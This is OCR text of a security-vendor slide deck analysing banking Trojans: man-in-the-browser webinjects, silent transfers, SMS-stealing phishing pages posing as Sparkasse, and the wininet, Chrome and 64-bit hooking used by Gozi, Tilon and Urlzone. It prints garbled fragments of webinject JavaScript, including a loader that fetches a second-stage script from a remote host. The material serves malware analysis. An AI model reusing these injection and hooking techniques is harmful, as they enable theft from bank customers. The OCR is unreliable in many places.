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Regular Bank Transfer

Client | Bank

POST LoginData

< I
FrontPage
I

GET TransactionPage

I
< TransactionPage
I

POST TransactionData

< AuthenticationPage

POST AuthenticationData >
2nd Factor |
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Authentication

A First factor: Authenticate login
A Username / Password
A Account Nr. / Password

A Second factor: Authenticate transactions
ATAN /iTAN /iTANplus

A chipTAN
A smsTAN
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Bank Transfer MITM-Attack
Client | EY |Bank

POST LoginData

)

FrontPage

<

GET TransactionPage

TransactionPage

<

POST TransactionData

)
)

AuthenticationPage

POST AuthenticationData

)
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Simple Webinject
Client | EY |Bank

POST LoginData

< Manipulated FrontPage

< ] !
TransactionPage
I I

POST TransactionData

GET TransactionPage >

< AuthenticationPage

POST AuthenticationData >
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Webinject

function
AddReplacerArrayltem (account_name_value,account_number_value,transfer_me
mo_value,transfer_amount_value,betrag_amount_value,tan_value,tan_info_va
lue,last_date value,new_date value,transfer_date value){
var index=  replacer_array.length ;

replacer_array [index] = new Array();

replacer_array [Index]["  account_ name "]= account name_value ;
replacer_array [Index]["  account_number "]= account_number value ;
replacer_array [Index][*  transfer memo "]= transfer_memo value
replacer_array [index]["  transfer amount "]= transfer_amount value :
replacer_array [index]["  betrag_amount "]= betrag amount value
replacer_array [Index]['tan"] = tan _value ;

replacer_array [iIndex][" tan_info "]= tan_info_value ;

replacer_array [iIndex][" last date "]= Ilast date value ;
replacer_array [iIndex][" new _date "|= new _date value ;

replacer_array [index]["  transfer_date "= transfer_date value ;
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Webinject

function StartReplacer ()}
ReplaceMainBalances  ();
ReplaceSaldoHeader  ();
ReplaceKontolnformation 0;
ReplaceFinanzStatus  ();
HideTransfers  ();
ReplaceTaninfo  ();
ReplaceDate ();
ShowAll ();

G Data. Security Made in Germany. 10



Dynamic Webinjects

A Two-staged

A 1st stage just acts as loader for 2nd

A 2nd stage delivered based on URL

A Basically prevents auto config extraction

if (zelf == :ﬂp} {
document.write|
“if:rip: charset="UTF-E a::='“
t I'i https:™ == doc un-=r1: locetion.protacol) 2 ]' 1:[: S - : "hitp: /Y- oot
_ php?ran=" + encodelRI ':-:lTpl'_‘-]"El'ltl CREn —FF5 sp=EPAE:id=EIDEECRE")
+ &r—' + 23 pe(d cument .referrer) + "su=" + ﬂs gpe (document .UEL) + "&" + Math.randcm(} + "'>"
+ uneacape | % CcriptE3ET) ) ;

}
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Silent Transfers (Bankpatch)
Client | EY |Bank

POST LoginData >
< FrontPage
GET TransactionPage >

< TransactionPage
Transfer to Alice > Transfer to Mallory >

<AuthReque5t: Transfer to Alice éuthRequest: Transfer to Mallory

POST AuthenticationData >
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Silent Transfers (Bankpatch)

A Undetectable when not authenticating
transfers using 2nd factor

A Undetectable when using TAN / iTAN /
ITANplus

A Detectable with smsTAN / chipTAN
A Verification has to be done by user
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Feodo + SmsSpy

& Sparkasse

Vartragsnummer: 523422343224

Urn it dem Service weiterzufahren, missen Sie ein neues, zusammen mit Klides
entwickeltes B-Sicherheit Zertifikat fir Ihr Handy installieren! Dank diesem Zertifikat
wird die Yerwendung der Taste des AES 256-hit Verschllsselungsalgorithmus aktiviert,
Gehen Sie hitte wie nachstehend beschrieben vor, um das Zertifikat zu installieren.

Wahien Sie Marke und Modell Thres Handys
Marke: HTC »

Modell

Geben Sie Ihre Handyhurniner ein, wimn die Instaliationsanwelsungen firs B-Sicherheit
Ferdifikat zu erhalten.

Handynummer: +m _

@ 2013 Sparkasse
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Feodo + SmsSpy

T
& Sparkasse

2. Vorgehen um das Zertifikat zu laden

Wir empfehlen einen Standartbrowser wie android OS
oder Opera Mini zu benutzen, um das B-Sicherheit
Zertifikat zu laden.

Complete action using

W O

Browser Opera mini

FireFox

WEITER >

© 2013 Sparkasse
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Feodo + SmsSpy

S Sparkasse

3. Genehmigungen zur Anwendung

e Punkt

&' BSicherheit auf
oder

Mdchten Sle diese Installieren.

Anwendung
Installleren?

SMS empfangen
Kurznachrichten
senden

WEITER ==
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Feodo + SmsSpy

e
=] Sparkasse

4. Das Zertifikat wurde installiert

Klicken Sie auf Offnen um die Anwendungen zu starten.
&' B-Sicherheit

Anwendung
installiert

WEITER =

© 2013 Sparkasse
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Feodo + SmsSpy

E
5 Sparkasse

5. B-Sicherheit code
Nachdem Sie das B-Sicherheit 2 Fik at
g empfa

atigung der gelungen Ins

installiert
ktivierung und

$2: B-Sicherheit
Geben Sie Ihr B-Sicherheit Code ein

B-Sicherheit code:
602 30: LR 2 o XL

FERTIG STELLEN

© 2013 Sparkasse
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SmsSpy Admin-Panel

WEBES AE!0C40499240A3?5 DON_775AB58DEE22DFES Active Inactive 19032013 16:23:31

User Info - MB855_AES0CA0499240A375A ] ®

P
Information T Command T SMS Log T USsD Log T Hote T Remove _ B

Device ID: ME!855_AE80€40499240A3?5A_

BotlD: DON_775ABSBDEE22DFES

Country: us

App Version: 20

05 Version: 2358

05 Language: EM

Device: MEEBES

Rooted: false

Phone Humber: 2104 4D

Carrier: sprint

Serial Number: aes0c40400 24

IMEL: ~ooooo2cs S
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SmsSpy Admin-Panel

Information Command SM5 Loqg Us5D Log Hote Remove

Enahle SMS Hook
Dizahle SMS Hook
Enahle Call BElock
Dizahle Call Elock
Send SMS
Execute LUSSD
show Message
Fing

Delay Change
=top Program
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Retour attack (Urlzone)

[

Umsiétze Lastschriftriickgabe

Konto* [200905 - Mustermann, Max  »| (&)

Zeitraum™ ¢ in Tagen: |10 Tage "l
¢ Datumvon: [27.022012  |BB) bis: Jogoz2012 | (B)

© Erweiterte Umsatzabfrage
Konto: 200905 Umsatzdaten exportieren™*
Abfragezeitraum: von 27.02.2012 bis 08.03.2012 [Csv-Format v] )

Kantostand am 07 03 2012 ** 100000 FUR

Buchung & ¥ Wertstellung & ¥ Verwendungszweck Betrag 4 ¥ Info
07.03.12 07.03.12 UEBERWEISUNGSGUT 7.971,90 EUR
SCHRIFT

RETOUREN
0TSt 0003t CELBAUTOMAT SotEoR—3
L - e - R = N m—
- A d—
B — - - -

EUR 50,00 GEB.EUR 0,00 Image: Sparkassec
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Bottom Line

A Man in the Browser can change:
A Protocol
A Human Perception

A Human verification fails
A Ceremony Design and Analysis, Carl Ellison

A Protocols practically fail
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Online-Banking encryption

Client Internet Bank
User PC

s Browser ' 0S

< Communication
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Man in the Browser (MITB)

Client Internet Bank

User PC

: Browser: OS
i

Intercept unencrypted
Communication in Browser
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Browser encryption

A Browsers have Network-APIs that handle
encryption transparently

A Internet Explorer: wininet.dll

A InternetConnect()
A HttpOpenRequest()
A HttpSendRequest()
A InternetReadFile()

A Firefox: nspr4.dll

A PR_open()
A PR_read()
A PR write()

A Chrome: Statically linked nspr4
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Wininet. dII connection example

hConnect = InternetConnect
hOpen,
Awww. mybank. com",

INTERNET_DEFAULT_HTTPS_PORT,

INTERNET_SERVICE_HTTP,
0,
0

);

hReq = HitpOpenRequest  (
hConnect ,
"GET",
Al frontpage.
HTTP_VERSION,

NULL,
INTERNET_FLAG_SECURE,
0

ht ml ",

)

InternetReadFile ( hReq, HtmlOutputBuffer

/I InternetOpen handle

Il Server name

/l Default HTTPS port 1 443
/I User name

/I User password

Il Service

/I Flags

/I Context

/I InternetConnect handle
/I Method
/I Object
/I Version

/I Referrer
/I Extra

Il Flags

/[ Context

name

headers

BytesToRead , & BytesRead );

G Data. Security Made in Germany.
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Wininet.dll connection scheme

InternetConnect

HttpOpenRequest

InternetReadFile




Hooking the Connection APIs

A Banking Trojans implement MITB through
Connection API hooking

A Hooking: Redirecting all calls to APIs to
own module
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Wininet.dll hook scheme

InternetConnect

HttpOpenRequest

InternetReadFile

Calling Module

Hooked
wininet.dll
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Export Table Hooks

A Windows DLLs contain list of provided
A P | sxpoftsh )

A Mapping Name2@ RVA

A Changing export address changes called
function of importing binary
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Inline Hooks

IExplore.exe

Winlnet.dll

InternetReadfile

5B86A259

5B86A25E
5B86A25F
5B86A262
5B86A263
5B86A264
5B86A266
5B86A268

E9 AOBO28A6

53

8B5D 14
56

57

33FF
3BDF

0F85 BEDEO00O JNZ NETAPI32.5B8780FC

JMP OlAF52FE

PUSH EBX
MOV EBX,DWORD PTR SN [EBP+14]
PUSH ESI
PUSH EDI
XOR EDI,EDI
CMP EBX,EDI

Code:
for (i=1 to Oxdead){
é

}

Advapi32.dll Ws2_32.dll

I S5B86A259 8BFF MOV EDI,EDI

5B86A25B 55 PUSH EBP
5B86A25C 8BEC MOV EBP,ESP
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Inline hooking via VEH (Tilon)

A Installs VEH handler

A Writes privileged instruction (CLI) to
function prolog

A Triggers exception
A VEH handler acts as hook procedure
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Chrome hooking difficulties

A Chrome uses nspr4 library (PR_read /
PR_write) just as Firefox

A Functions nowhere exported though
A Compiled statically into chrome.dll
A Chrome.dll is a giant binary blob
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Chrome Internal structure

struct PRIOMethods ({

[*Type of file represented (tos) */
PRDescType file type ;

[* close file and destroy descriptor */
PRCloseFN close ;

[* read up to specified bytes into buffer ¥/
PRReadFN read ;

[* write  specified bytes from buffer %/
PRWriteFN  write

[ | é
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static

Chrome Internal structure

const PRIOMethods ssl methods ={
PR_DESC LAYERED,
ssl Close [* close */
ssl Read |, [* read */
ssl Write [* write */
ssl_Available , [* available */
[ é
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Chrome Internal structure

static void ssl_SetuplOMethods  (void) {
PRIOMethods *new methods = & combined_methods ;

const PRIOMethods *nspr_methods =
PR_GetDefaultilOMethods  ();

const PRIOMethods *my methods = &ssl methods ;
*new_methods =* nspr_methods ;

new_methods - >file_type = my_methods - >file_type ;
new_methods - >close = my_methods - >close;
new_methods - >read = my_methods - >read,;
new_methods - >write = my_methods - >write;

[ | é }
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Chrome Internal structure

static PRStatus
ssl_InitiOLayer (void )

{
ssl_layer_id = PR_GetUniqueldentity ("SSL");
ssl_SetuplOMethods  ();
ssl_inited = PR_TRUE;
return PR _SUCCESS;
}
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Chrome Internal structure

ssl _InitIOLayer proc near ; DATA XREF: sub 1DE8678+DTo
push offset aSsl_1 o g
call PR_GetUniqueldentity

pop ecx
mov ssl layer id, eax
call ssl _SetuplOHMethods
mov ssl init, 1

Xor eax, eax

retn

ssl _InitIOLayer endp
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Chrome function pointer
hooking (Gozi)

WX p M flisJ+ lemtwhcPkbzrx.

E FTR

ntdll
ntdll.2uT
A, 1

PTR F H
PTR O LR R R
R DS:LE !

fddress
T

727CE994 chrome 1 .70F86C21
727CE998 chrome 1 .70F4D573
727CE99C chrome 1 .70F4FADB

Paused

S

paused at ntdll.DhgBreakPoint

[ RENE
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Chrome function pointer
hooking (Gozi)

WX p M fa/= 1l emtwhocPkbzr.

E FTR

ntdll
ntdll.2uT
A, 1

DUORD
ntall.
PTR

nrdlLReIR
T ntdll

TR

RO T
T ntdll
.

A
Tntdll

fddress
e

727CE994 mspaperf .10002575
/27CEQ998 mspaperf .100024FF
727CEQ99C mspaperf .1000253A

[15:54:27]1 Attached process paused at ntdll.DbhgBreakPoint Paused

& LM

[ BENE
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64bit hooking difficulties

A Inline hooking difficulties
A No common function prolog
A Inline hooking requires disassembler

A Export hooking difficulties
A EAT RVAs are 32bit
A C a nldi EAT point to arbitrary code address
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64bit hooking (Gozi)

A Generate jump table at end of hook
target .text section ( A C cCdvingii )

A EAT points to jump table entry

A Jump table entry points to hook
procedure
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64bit hooking (Gozi)

WININET .InternetReadFile ;
0000000076A70200 FF25000000 jmp q[76A70206]
0000000076A70206 DQ 0000000018003B7C

WININET .InternetReadFileExXA :
0000000076A7020E FF25000000 jmp ([7/6A70214]
0000000076A70214 DQ 0000000018003C50
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